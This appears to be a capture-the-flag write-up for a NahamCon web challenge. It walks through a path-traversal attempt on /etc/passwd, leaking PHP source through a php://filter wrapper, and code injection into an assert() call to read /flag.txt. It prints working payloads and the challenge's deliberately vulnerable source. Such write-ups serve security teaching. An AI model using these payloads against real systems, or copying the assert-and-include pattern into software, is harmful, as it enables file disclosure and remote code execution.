category

web - medium

solution

The challenge URL dropped us on a page related to fitness, with not a lot of interesting interactions.

Navigating the pages you’d see a URL scheme where a page parameter is set. Eg: page=about. An about.php also exists, so this was potentially vuln to LFI. Using .. in the page parameter resulted in a warning message indicating that some filtering was taking place.

$ curl "http://challenge.nahamcon.com:31497/index.php?page=../../../../../../../etc/passwd"
HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE

PHP has stream wrappers, one we could use to read files from the filesystem. E.g.: php://filter/convert.base64-encode/resource=<file>. Specifying a file path with a .. it still triggered the security check, but, we could download the source of the index.php file.

$ curl "http://challenge.nahamcon.com:31497/index.php?page=php://filter/convert.base64-encode/resource=index"
PD9waHANCg0KaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKSB7DQogICRwYWdlID0gJF9HRVRbJ3BhZ2UnXTsNCiAgJGZpbGUgPSAkcGFnZSAuICIucGhwIjsNCg0KICAvLyBTYXZpbmcgb3Vyc2VsdmVzIGZyb20gYW55IGtpbmQgb2YgaGFja2luZ3MgYW5kIGFsbA0KICBhc3NlcnQoInN0cnBvcygnJGZpbGUnLCAnLi4nKSA9PT0gZmFsc2UiKSBvciBkaWUoIkhBQ0tJTkcgREVURUNURUQhIFBMRUFTRSBTVE9QIFRIRSBIQUNLSU5HIFBSRVRUWSBQTEVBU0UiKTsNCiAgDQp9IGVsc2Ugew0KICAkZmlsZSA9ICJob21lLnBocCI7DQp9DQoNCmluY2x1ZGUoJGZpbGUpOw0KDQo/Pg0K

Decoding that reveals the check in place.

<?php

if (isset($_GET['page'])) {
  $page = $_GET['page'];
  $file = $page . ".php";

  // Saving ourselves from any kind of hackings and all
  assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");

} else {
  $file = "home.php";
}

include($file);

?>

Immediately you should see that an assert() is called with some PHP source code as a string. We can inject PHP source code here because we can taint the string passed to assert() as $file is from the request, and thus user controlled.

Testing this locally was pretty easy. Before the assert() call I added a line to log what the string would look like first. I then served the script with php -S localhost:1337.

// ...

$d = "strpos('$file', '..') === false";
error_log(print_r($d, TRUE));

// ...

Using this debug line I added code to the request to close the original strpos() call so that it would fail, and closed off the rest of the original strpos() so that it would fail as well.

Passing ','foo') === false && strpos('1 as a page parameter value would result in the application saying that it could not find the file we wanted to include. Excellent! The challenge hint tells us that the flag is in /flag.txt, so to echo that I just added a die(file_get_contents('/flag.txt')), exactly the same way the security check worked.

$ curl -G "http://challenge.nahamcon.com:31497/" --data-urlencode "page=','foo') === false && die(file_get_contents('/flag.txt')) && strpos('1"
flag{85a25711fa6e111ed54b86468a45b90c}